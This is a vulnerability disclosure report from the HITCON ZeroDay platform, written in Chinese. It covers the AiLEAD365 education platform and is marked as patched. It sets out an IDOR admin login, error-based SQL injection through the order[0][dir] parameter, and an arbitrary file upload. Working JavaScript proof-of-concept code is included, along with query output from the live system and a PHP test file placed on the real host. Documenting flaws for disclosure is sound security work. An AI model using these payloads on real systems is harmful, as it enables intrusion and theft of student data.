力宇教育 AiLEAD365 SQLi注入漏洞、越權、REC(任意檔案上傳)、 - HITCON ZeroDay

Vulnerability Detail Report

Vulnerability Overview

  • ZDID: ZD-2026-00001
  •  發信 Vendor: 力宇教育事業股份有限公司
  • Title: 力宇教育 AiLEAD365 SQLi注入漏洞、越權、REC(任意檔案上傳)、
  • Introduction: 透過order[0][dir]進行注入、沒關除錯模式、越權登入、任意檔案上傳

處理狀態

目前狀態

公開
Last Update : 2026/01/24
  • 新提交
  • 已審核
  • 已通報
  • 已修補
  • 已複測
  • 公開

處理歷程

  • 2026/01/01 12:21:34 : 新提交 (由 鄉民 更新此狀態)
  • 2026/01/01 23:46:28 : 新提交 (由 鄉民 更新此狀態)
  • 2026/01/04 11:48:14 : 新提交 (由 鄉民 更新此狀態)
  • 2026/01/04 16:03:57 : 新提交 (由 鄉民 更新此狀態)
  • 2026/01/05 19:00:58 : 新提交 (由 鄉民 更新此狀態)
  • 2026/01/06 12:35:33 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/01/06 18:15:19 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/01/06 18:15:19 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/01/06 18:15:19 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/01/20 15:09:14 : 複測申請中 (由 HITCON ZeroDay 服務團隊 更新此狀態)
  • 2026/01/20 20:12:18 : 確認已修補 (由 鄉民 更新此狀態)
  • 2026/01/24 03:00:10 : 公開 (由 HITCON ZeroDay 平台自動更新)

詳細資料

  • ZDID:ZD-2026-00001
  • 通報者:鄉民
  • 風險:嚴重
  • 類型:任意檔案上傳 (Arbitrary File Upload)

參考資料

攻擊者可上傳任意檔案至該主機,有機會經由上傳之文件取得該主機系統權限。

漏洞說明: OWASP - Unrestricted File Upload
https://www.owasp.org/index.php/Unrestricted_File_Upload

漏洞說明: CWE-434: Unrestricted Upload of File with Dangerous Type
https://cwe.mitre.org/data/definitions/434.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)

相關網址

*.ailead365.com
*.ailead365.com/admin/stuquiz/get-personrecord
*.ailead365.com/admin/learning/change-user
*.ailead365.com/admin/bapi/boarduploadpng

敘述

該網站已知被超過300多家學校使用,但存在以下漏洞

IDOR

在/admin/learning/change-user上發送POST請求,其中POST的表單中user_id=1
上述操作能非法登入管理員,實現越權登入

SQLi (SQL Injection)

向/admin/stuquiz/get-personrecord中POST請求的order[0][dir]透過CONCAT()注入(SELECT COUNT(*) FROM user)可以查到該網站的用戶規模
攻擊者可以透過此漏洞進行竊取資料等操作。
進而實現查詢email,發送垃圾郵件
原因是該平台直接拼接SQL語句,並使用createCommand()和queryAll()查表

本人實作了以下JavaScript函數作為PoC:

function SQLi(SQL){
const data = {
    draw: "11",
    start: "0",
    length: "10",
    "order[0][column]": "8",
   "order[0][dir]": ", (SELECT 1 FROM (SELECT COUNT(*), CONCAT(0x7e, ("+SQL+"), 0x7e, FLOOR(RAND(0)*2)) x FROM information_schema.plugins GROUP BY x) a)",
    "search[value]": "",
    "search[regex]": "false",
    subject_code: "C0",
    schoolclass_id: "6",
    quizpaper_category_id: "1",
    stime: "",
    etime: "",
    unfinished: "-1"
};
for (let i = 0; i <= 9; i++) {
    data[`columns[${i}][data]`] = i.toString();
    data[`columns[${i}][name]`] = "";
    data[`columns[${i}][searchable]`] = (i === 0) ? "false" : "true";
    data[`columns[${i}][orderable]`] = (i === 0 || i === 9) ? "false" : "true";
    data[`columns[${i}][search][value]`] = "";
    data[`columns[${i}][search][regex]`] = "false";
}
const searchParams = new URLSearchParams(data);
fetch("/admin/stuquiz/get-personrecord", {
    method: "POST",
    headers: {
        "content-type": "application/x-www-form-urlencoded; charset=UTF-8",
        "x-csrf-token": document.querySelector('meta[name="csrf-token"]')?.content || ""
    },
    body: searchParams.toString()
})
.then(res => res.text())
.then(text => {
    console.log(text.match(/Duplicate entry '(.+)' for key 'group_key'/)[1])
})
.catch(err => console.error("腳本執行出錯:", err));
}

本人已查明此次規模:

SQLi("SELECT count(*) FROM user")

回傳~1103234~1
即1103234位用戶

SQLi("SELECT SUM(data_length + index_length) / 1024 / 1024 / 1024 AS total_gb FROM information_schema.tables WHERE table_schema = DATABASE()")

回傳~126.716308593750~1

SQLi("SELECT SUM(TABLE_ROWS) FROM information_schema.tables WHERE table_schema = DATABASE()")

回傳~329718952~1
即126.7GB,3.2億筆的資料

本人並未下載資料

任意檔案上傳 (Arbitrary File Upload)

透過越權漏洞進入user_id=1
然後輸入以下PoC

async function ArbitraryFileUploadPoC(fileBuffer, fileType, fileName) {
    const blob = new Blob([fileBuffer], { type: fileType });
    const formData = new FormData();
    formData.append("file", blob, fileName);
    formData.append("cid", "114514"); // 測試用班級 ID
    formData.append("tid", "0");
    formData.append("pid", "1919810"); // 測試用頁面 ID
    formData.append("filepath", "examAnswer/" + fileName);
    console.log("正在執行漏洞實證...");
    try {
        const response = await fetch("/admin/bapi/boarduploadpng", {
            method: "POST",
            headers: {
                "x-csrf-token": document.querySelector('meta[name="csrf-token"]')?.content || "",
            },
            body: formData,
        });

        const result = await response.json();

        if (result.ok) {
            console.log("成功寫入檔案", "color: lime; font-weight: bold;");
            const uid = 1; 
            const accessUrl = `${window.location.origin}/admin/material/images/board/${uid}/114514/0/1919810/${fileName}`;
            console.log(`驗證網址: ${accessUrl}`);
        }
    } catch (error) {
        console.error("執行失敗:", error);
    }
}

(function() {
    // 1. 建立容器
    const container = document.createElement('div');
    container.style = `
        position: fixed; top: 20px; left: 20px; z-index: 99999;
        padding: 15px; background: #222; color: #fff;
        border: 2px solid lime; border-radius: 8px;
        box-shadow: 0 0 15px rgba(0,255,0,0.5);
        font-family: monospace;
    `;
    container.innerHTML = `
        <div style="margin-bottom:10px; font-weight:bold;">PoC驗證面板</div>
        <input type="file" id="poc-file-input" style="margin-bottom:10px; display:block;">
        <div id="poc-status" style="font-size:12px; color:#aaa;">等待選擇檔案...</div>
    `;
    document.body.appendChild(container);

    // 2. 綁定事件
    const fileInput = document.getElementById('poc-file-input');
    const status = document.getElementById('poc-status');

    fileInput.addEventListener('change', (e) => {
        const file = e.target.files[0];
        if (!file) return;

        status.innerText = `讀取中: ${file.name}...`;
        status.style.color = "yellow";

        const reader = new FileReader();
        reader.readAsArrayBuffer(file);
        reader.onload = async (event) => {
            try {
                // 傳入檔案內容、類型與檔名
                await ArbitraryFileUploadPoC(event.target.result, file.type, file.name);

                status.innerText = `成功注入: ${file.name}`;
                status.style.color = "lime";
            } catch (err) {
                status.innerText = `失敗: ${err.message}`;
                status.style.color = "red";
            }
        };
    });
})();

有一個PoC驗證檔案:
內容為<?php echo "當你看到此檔案時,已經通報給 zeroday.hitcon.org 了"; ?>
https://ailead365.com/admin/material/images/board/883163/114514/0/1919810/demo.php
圖片

擷圖

留言討論

聯絡組織

 發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。
;